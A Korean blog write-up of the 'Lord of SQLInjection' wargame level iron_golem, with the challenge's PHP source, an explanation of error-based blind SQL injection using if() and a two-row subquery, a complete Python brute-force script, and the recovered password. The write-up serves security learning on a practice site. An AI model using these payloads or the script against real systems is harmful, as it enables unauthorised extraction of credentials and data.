LOS #21 iron_golem

2020. 12. 8. 00:59
728x90
728x90
728x90
 

Lord of SQLInjection

 

los.rubiya.kr

Source code

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

 

Query

select id from prob_iron_golem where id='admin' and pw=''

 

Write-up

[사진 1]

문제를 통해 얻을 수 있는 정보는 다음과 같다.

  • select하는 row는 1개다.
  • sleep, benchmark를 필터링하므로 시간차를 통해 참/거짓을 확인하기 어렵다.
  • DB상의 pw와 입력한 pw를 비교하여 일치해야 하므로 정확한 pw 값을 입력해야 한다.

pw 값을 정확히 알아내야 하는데, 이전 문제들과 다르게 row를 가져왔을 때 "hello"와 같은 문자열을 출력해주지 않는다. 다만, 에러가 발생하면 아래와 같이 에러페이지를 보여준다. 에러를 이용해서 참/거짓을 확인할 수 있다.

[사진 2]

mysql if() 함수를 사용하면, 비교문이 참일 때와 거짓일 때 다른 결과를 출력할 수 있다. 거짓일 경우 에러를 발생하는 값을 출력하면 문제 페이지에서 에러가 발생하므로 이를 통해 pw 값을 알아낼 수 있겠다.

 

* mysql if() Function

 

MySQL IF() Function

MySQL IF() Function ❮ MySQL Functions Example Return "YES" if the condition is TRUE, or "NO" if the condition is FALSE: SELECT IF(500<1000, "YES", "NO"); Try it Yourself » Definition and Usage The IF() function returns a value if a condition is TRUE, or

www.w3schools.com

[사진 3]

mysql db에 테스트용으로 테이블을 구성하여 if문의 기능을 테스트하였다. 위와 같이 pw 값의 길이를 8로 생성해두었고, 문제 쿼리와 동일하게 쿼리를 작성하였다.

if 함수로 length(pw) 값과 숫자 7, 8을 비교하여 참/거짓일 때의 결과를 보면 거짓일 경우 (select 1 union select 2) 서브 쿼리의 결과가 반환된다.

 

[사진 4]

(select 1 union select 2) 서브쿼리의 반환 결과를 보면 반환되는 row가 2개인 것을 확인할 수 있는데, 이 때문에 문제 페이지에서 에러가 발생한다. 문제에서 사용되는 메인 쿼리는 row 1개를 select하기 때문이다.

 

[사진 5]

비교문이 거짓일 때 반환되는 값(select 1 서브쿼리의 반환 값)을 row 1개로 설정하면 위와 같이 쿼리문이 참이 되어 쿼리문이 실행된다. 이를 통해 python으로 pw 값의 길이를 파악하고 정확한 값을 때려 맞출 수 있다. 코드는 아래와 같다.

#!/usr/bin/py
#-*-coding:utf-8 -*-

import requests

def GetPwLength(t, s):
    for i in range(1, 101):
        try:
            payload = t + "?pw=' or id='admin' and if(length(pw)=" + str(i) + ", true, (select 1 union select 2))%23"
            r = requests.post(payload, cookies=(dict(PHPSESSID=s)))

        except Exception as e:
            print("GetPwLength() Error...")
            print(e)
            exit(1)
        
        if "Subquery returns more than 1 row" not in r.text:
            return i

def GetPw(t, s, lengthPw):
    tmpPw = ""

    for i in range(1, lengthPw + 1):
        for j in range(48, 128):
            try:
                payload = t + "?pw=' or id='admin' and if(substr(pw, " + str(i) + ", 1)=\"" + chr(j) + "\", true, (select 1 union select 2))%23"
                r = requests.post(payload, cookies=(dict(PHPSESSID=s)))

            except Exception as e:
                print("GetPw Error...")
                print(e)
                exit(1)
            
            if "Subquery returns more than 1 row" not in r.text:
                tmpPw += chr(j)
                break

    return tmpPw

if __name__ == "__main__":
    t = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
    session = "" #세션값
    pw = ""

    lengthPw = GetPwLength(t, session)
    print("Length of Password : %d\n" %(lengthPw))
    
    pw = GetPw(t, session, lengthPw)
    print("Password : %s" %(pw))

[사진 6]

if문을 통해 에러를 발생시키고 결과적으로 참/거짓을 구분하여 pw 값을 알아낼 수 있었다.

 

* code

 

0xe82de/LOS

lord of sql injection. Contribute to 0xe82de/LOS development by creating an account on GitHub.

github.com

 

Parameter

pw=06b5a6c16e8830475f983cc3a825ee9a

 

Success

[사진 7]

대문자는 소문자로 바꿔주면 된다. mysql에서 대소문자를 구분하지 않기 때문인데, 대소문자를 구분하여 쿼리문을 작성하려면 binary()를 사용하면 된다.

728x90
728x90

'Wargame > LOS' 카테고리의 다른 글

LOS #23 hell_fire  (0) 2020.12.14
LOS #22 dark_eyes  (0) 2020.12.09
LOS #20 dragon  (0) 2020.10.28
LOS #19 xavis  (0) 2020.10.28
LOS #18 nightmare  (0) 2020.10.28

+ Recent posts